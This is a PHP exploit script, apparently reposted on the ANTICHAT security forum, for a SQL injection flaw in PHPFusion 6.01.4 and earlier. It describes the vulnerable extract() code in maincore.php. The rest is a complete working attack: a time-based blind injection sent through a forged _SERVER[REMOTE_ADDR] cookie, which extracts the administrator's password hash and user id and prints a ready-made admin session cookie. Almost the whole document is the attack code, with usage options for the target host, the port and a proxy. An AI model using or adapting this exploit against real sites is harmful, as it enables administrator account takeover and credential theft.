ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/php -q -d short_open_tag=on 
<? 
print_r(' 
-------------------------------------------------------------------------------- 
PHPFusion <= 6.01.4 extract()/_SERVER[REMOTE_ADDR] sql injection exploit 
by rgod rgod@autistici.org 
site: http://retrogod.altervista.org 
-------------------------------------------------------------------------------- 
'); 
/* 
works with 
register globals = *Off* 
magic_quotes_gcp = Off 

explaination: 
vulnerable code in maincore.php at lines 15-21: 

... 
if (ini_get('register_globals') != 1) { 
   $supers = array("_REQUEST","_ENV","_SERVER","_POST","_GET","_COOKIE","_SESSION","_FILES","_GLOBALS"); 
   foreach ($supers as $__s) { 
      if ((isset($$__s) == true) && (is_array($$__s) == true)) extract($$__s, EXTR_OVERWRITE); 
   } 
   unset($supers); 
} 
... 

extract() function can be sometimes a security hazard, in this case it allows 
to overwrite some arrays like _SERVER[] one and launch an sql injection attack, 
ex: 

http://[target]/[path]/news.php?_SERVER[REMOTE_ADDR]='[SQL] 

other attacks may be possible... 
*/ 

if ($argc<3) { 
print_r(' 
-------------------------------------------------------------------------------- 
Usage: php '.$argv[0].' host path OPTIONS 
host:      target server (ip/hostname) 
path:      path to PHPFusion 
Options: 
   -T[prefix:   specify a table prefix (default: fusion_) 
   -p[port]:    specify a port other than 80 
   -P[ip:port]: specify a proxy 
Examples: 
php '.$argv[0].' localhost /fusion/ 
php '.$argv[0].' localhost /fusion/ -p81 
php '.$argv[0].' localhost / -P1.1.1.1:80 
-------------------------------------------------------------------------------- 
'); 
die; 
} 

error_reporting(0); 
ini_set("max_execution_time",0); 
ini_set("default_socket_timeout",5); 

function quick_dump($string) 
{ 
  $result='';$exa='';$cont=0; 
  for ($i=0; $i<=strlen($string)-1; $i++) 
  { 
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) 
   {$result.="  .";} 
   else 
   {$result.="  ".$string[$i];} 
   if (strlen(dechex(ord($string[$i])))==2) 
   {$exa.=" ".dechex(ord($string[$i]));} 
   else 
   {$exa.=" 0".dechex(ord($string[$i]));} 
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} 
  } 
 return $exa."\r\n".$result; 
} 
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; 
function sendpacketii($packet) 
{ 
  global $proxy, $host, $port, $html, $proxy_regex; 
  if ($proxy=='') { 
    $ock=fsockopen(gethostbyname($host),$port); 
    if (!$ock) { 
      echo 'No response from '.$host.':'.$port; die; 
    } 
  } 
  else { 
   $c = preg_match($proxy_regex,$proxy); 
    if (!$c) { 
      echo 'Not a valid proxy...';die; 
    } 
    $parts=explode(':',$proxy); 
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; 
    $ock=fsockopen($parts[0],$parts[1]); 
    if (!$ock) { 
      echo 'No response from proxy...';die; 
   } 
  } 
  fputs($ock,$packet); 
  if ($proxy=='') { 
    $html=''; 
    while (!feof($ock)) { 
      $html.=fgets($ock); 
    } 
  } 
  else { 
    $html=''; 
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { 
      $html.=fread($ock,1); 
    } 
  } 
  fclose($ock); 
  #debug 
  #echo "\r\n".$html; 
} 

$host=$argv[1]; 
$path=$argv[2]; 
$port=80; 
$proxy=""; 
$prefix="fusion_"; 
for ($i=3; $i<$argc; $i++){ 
$temp=$argv[$i][0].$argv[$i][1]; 
if ($temp=="-p") 
{ 
  $port=str_replace("-p","",$argv[$i]); 
} 
if ($temp=="-P") 
{ 
  $proxy=str_replace("-P","",$argv[$i]); 
} 
if ($temp=="-T") 
{ 
  $prefix=str_replace("-T","",$argv[$i]); 
} 
} 
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} 
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} 

$chars[0]=0;//null 
$chars=array_merge($chars,range(48,57)); //numbers 
$chars=array_merge($chars,range(97,102));//a-f letters 
$j=1;$password=""; 
while (!strstr($password,chr(0))) 
{ 
for ($i=0; $i<=255; $i++) 
{ 
if (in_array($i,$chars)) 
{ 
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_password,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*"; 
echo "sql -> ".$sql."\n"; 
$sql=urlencode($sql); 
$packet="GET ".$p."news.php HTTP/1.0\r\n"; 
$packet.="Accept: text/plain\r\n"; 
$packet.="Host: ".$host."\r\n"; 
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n"; 
$packet.="Connection: Close\r\n\r\n"; 
usleep(2000000); 
$starttime=time(); 
sendpacketii($packet); 
$endtime=time(); 
echo "starttime -> ".$starttime."\n"; 
echo "endtime -> ".$endtime."\n"; 
$difftime=$endtime - $starttime; 
echo "difftime -> ".$difftime."\n"; 
if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\n";sleep(1);break;} 

} 
if ($i==255) {die("\nExploit failed...");} 
} 
$j++; 
} 

$chars[]=""; 
$chars[0]=0;//null 
$chars=array_merge($chars,range(48,57)); //numbers 
$j=1;$id=""; 
while (!strstr($id,chr(0))) 
{ 
for ($i=0; $i<=255; $i++) 
{ 
if (in_array($i,$chars)) 
{ 
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_id,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*"; 
echo "sql -> ".$sql."\n"; 
$sql=urlencode($sql); 
$packet="GET ".$p."news.php HTTP/1.0\r\n"; 
$packet.="Accept: text/plain\r\n"; 
$packet.="Host: ".$host."\r\n"; 
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n"; 
$packet.="Connection: Close\r\n\r\n"; 
usleep(2000000); 
$starttime=time(); 
sendpacketii($packet); 
$endtime=time(); 
echo "starttime -> ".$starttime."\n"; 
echo "endtime -> ".$endtime."\n"; 
$difftime=$endtime - $starttime; 
echo "difftime -> ".$difftime."\n"; 
if ($difftime > 10) {$id.=chr($i);echo "id -> ".$id."[???]\n";sleep(1);break;} 

} 
if ($i==255) {die("\nExploit failed...");} 
} 
$j++; 
} 
echo "admin cookie -> fusion_user=".trim($id).$password.";\n"; 
?>